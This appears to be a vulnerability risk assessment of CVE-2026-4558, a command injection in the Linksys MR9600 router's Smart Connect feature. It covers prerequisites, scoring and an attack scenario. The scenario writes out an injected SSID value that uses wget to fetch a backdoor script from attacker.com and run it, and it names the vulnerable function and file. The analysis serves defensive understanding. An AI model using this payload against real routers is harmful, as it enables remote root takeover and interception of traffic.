Linksys MR9600 CVE-2026-4558

Requires valid authenticated access to the Linksys MR9600 web administration interface - specifically low-privilege router admin credentials (CVSS PR:L). Authentication may be achieved through default credentials if unchanged (Linksys routers often ship with 'admin' username and no password or device-specific password on label), credential stuffing, password reuse, or social engineering. Exploitation requires the Smart Connect feature to be enabled or accessible in the configuration interface, though this is typically enabled by default on mesh router models. Attack is network-based (CVSS AV:N) with low complexity (AC:L), executable remotely if WAN-side management is enabled or from LAN-connected position. No user interaction required (UI:N) once authenticated session established. Successful exploitation is limited to devices running the confirmed vulnerable firmware version 2.0.6.206937, though adjacent builds may also be affected pending further testing. Primary limiting factor is the authentication requirement - unauthenticated remote attackers cannot exploit this without first compromising admin credentials through other means.

Real-world risk is moderate despite the 7.4 CVSS score. CVSS vector indicates network-accessible attack requiring low-privilege authentication (PR:L) with high impact across confidentiality, integrity, and availability, which aligns with typical router admin panel exploitation. However, the EPSS score of 0.15% (36th percentile) and absence from CISA KEV suggest this vulnerability is not being actively exploited at scale. SSVC framework rates technical impact as 'total' (full system compromise) but marks exploitation as 'poc' (proof-of-concept only) and automatable as 'no' (requires authenticated session and target knowledge). The requirement for valid router admin credentials significantly reduces mass exploitation potential - attackers need either compromised credentials, default/weak passwords, or prior access via other vulnerabilities. The publicly available GitHub POC lowers the skill barrier for targeted attacks. Primary risk scenarios include: (1) attacker chains this with credential stuffing against routers using default passwords, (2) insider threat from LAN-connected malicious users, (3) post-compromise persistence after initial access via other means. The vendor's non-response to disclosure raises concern about patch availability, though the CVE appears dated 2026 which may indicate a data entry error - verify actual disclosure timeline with VulDB references.

An attacker scans internet-facing Linksys MR9600 routers using Shodan or similar services to identify devices with remote management enabled on default ports (typically 8080 or 443). Using credential stuffing with known Linksys default credentials or previously breached passwords, the attacker authenticates to the web administration panel. Within the Smart Connect configuration interface, the attacker crafts a malicious SSID parameter such as 'MyNetwork`;wget http://attacker.com/backdoor.sh -O /tmp/b.sh;sh /tmp/b.sh;#' which when processed by smartConnectConfigure function in SmartConnect.lua, executes the injected commands. This downloads and executes a persistent backdoor script, granting the attacker permanent root-level access to the router for traffic interception, DNS hijacking, or using the router as a pivot point into the victim's internal network.